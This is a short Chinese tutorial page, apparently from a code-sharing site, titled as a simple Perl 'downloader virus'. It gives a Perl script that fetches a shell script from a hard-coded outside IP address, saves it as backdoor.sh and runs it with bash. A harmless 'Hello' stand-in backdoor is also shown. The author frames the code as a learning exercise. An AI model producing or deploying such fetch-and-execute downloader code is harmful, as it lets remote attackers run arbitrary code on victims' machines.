首页 > 代码库 > 用Perl做个简单”下载者病毒”
用Perl做个简单”下载者病毒”
一直学的perl, 有时perl不理解时就用python写一下，这样或许perl就理解了
这里参照python写法，做了个perl的版本，当然，是为了学习用，这个下载者病毒有点简单过头了
backdoor.sh后门程序代码如下:
backdoor.sh
1 #!/bin/sh 2 echo ‘Hello, Python‘
下面为perl的shell.pl代码:
shell.pl
1 #!/usr/bin/perl 2 use LWP::Simple; 3 4 my $backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘); 5 open BACKDOOR, ">", ‘backdoor.sh‘ or die "Dowload Error:$!\n"; 6 print BACKDOOR $backdoor_content; 7 system(‘/bin/bash backdoor.sh‘);
用Perl做个简单”下载者病毒”
声明：以上内容来自用户投稿及互联网公开渠道收集整理发布，本网站不拥有所有权，未作人工编辑处理，也不承担相关法律责任，若内容有误或涉及侵权可进行投诉： 投诉/举报 工作人员会在5个工作日内联系你，一经查实，本站将立刻删除涉嫌侵权内容。